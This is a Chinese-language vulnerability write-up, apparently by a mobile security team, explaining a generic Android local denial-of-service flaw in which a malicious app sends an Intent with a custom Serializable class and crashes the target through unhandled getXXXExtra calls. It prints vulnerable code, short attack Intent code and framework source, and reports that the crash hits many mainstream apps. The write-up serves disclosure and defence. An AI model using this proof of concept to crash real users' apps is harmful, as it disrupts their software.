點評:記得曾經有段時間很多SRC平臺被刷了大量APP本地拒絕服務漏洞,移動安全團隊愛內測(ineice.com)發現了一個安卓客戶端的通用型拒絕服務漏洞,來看看他們的詳細分析吧。
0xr0ot和Xbalien交流所有可能導致應用拒絕服務的異常類型時,發現了一處通用的本地拒絕服務漏洞。該通用型本地拒絕服務可以造成大面積的app拒絕服務。
針對序列化對象而出現的拒絕服務主要是由于應用中使用了getSerializableExtra() 的API,由于應用開發者沒有對傳入的數據做異常判斷,惡意應用可以通過傳入畸形數據,導致應用本地拒絕服務。
漏洞應用代碼片段:
1 Intent i = getIntent();
2 if(i.getAction().equals("serializable_action")){
3 i.getSerializableExtra("serializable_key"); //未做異常判斷
4 }
攻擊應用代碼片段:
1 Intent i = new Intent();
2 i.setAction("serializable_action");
3 i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");
4 i.putExtra("seriadddddlizable_dkey",XXX); //此處是傳入畸形數據
5 startActivity(i);
比如XXX處傳入BigInteger.valueOf(1)極有可能發生轉型異常錯誤java.lang.ClassCastException。
但后來交流中發現,當傳入一個自定義的序列化對象Serializable或getParcelable對象時,接收Intent的目標組件在getSerializableExtra()、getParcelable()等會拋出類未定義的異常java.lang.NoClassDefFoundError。這是因為當你給漏洞應用傳入一個應用本身并沒有的序列化類對象,在應用上下文中肯定是找不到這個類的。
自定義的序列化類很簡單:
1 public class DataSchema implements Serializable {
2 private static final long serialVersionUID = -3601187837704976264L;
3 public DataSchema() {
4 super();
5 }
6 }
對應的攻擊代碼中XXX處傳入new DataSchema(),我們發現傳入的key不管是否與漏洞應用相同,都會拋出類未定義的異常。
隨著測試的深入,我們通過logcat發現,在錯誤日志里不一定是getSerializableExtra()、getParcelable()導致的。然后我們就延伸了下,試著向getXXXExtra()傳入我們自定義的序列化類對象,發現都會拋出類未定義的異常。
測試app代碼片段:
1 protected void onCreate(Bundle savedInstanceState) {
2 Intent intent = getIntent();
3 intent.getStringExtra("ROIS"); //此處依然會由于NoClassDefFoundError crash
4 }
接著我們測試了市面上大量主流應用,涵蓋BAT等。發現這種方法可以通殺。我們開始覺得這個是android本身的問題,開始翻源代碼。
01 public String getStringExtra(String name) {
02 return mExtras == null ? null : mExtras.getString(name);
03 }
04 /frameworks/base/core/java/android/os/Bundle.java
05 public String getString(String key) {
06 unparcel(); //處理數據
07 ...
08 }
09 /* package */ synchronized void unparcel() {
10 ...
11 mParcelledData.readMapInternal(mMap, N, mClassLoader);
12 ...
13 }
14
15 /frameworks/base/core/java/android/os/Parcel.java
16 readMapInternal解析傳遞進來的數據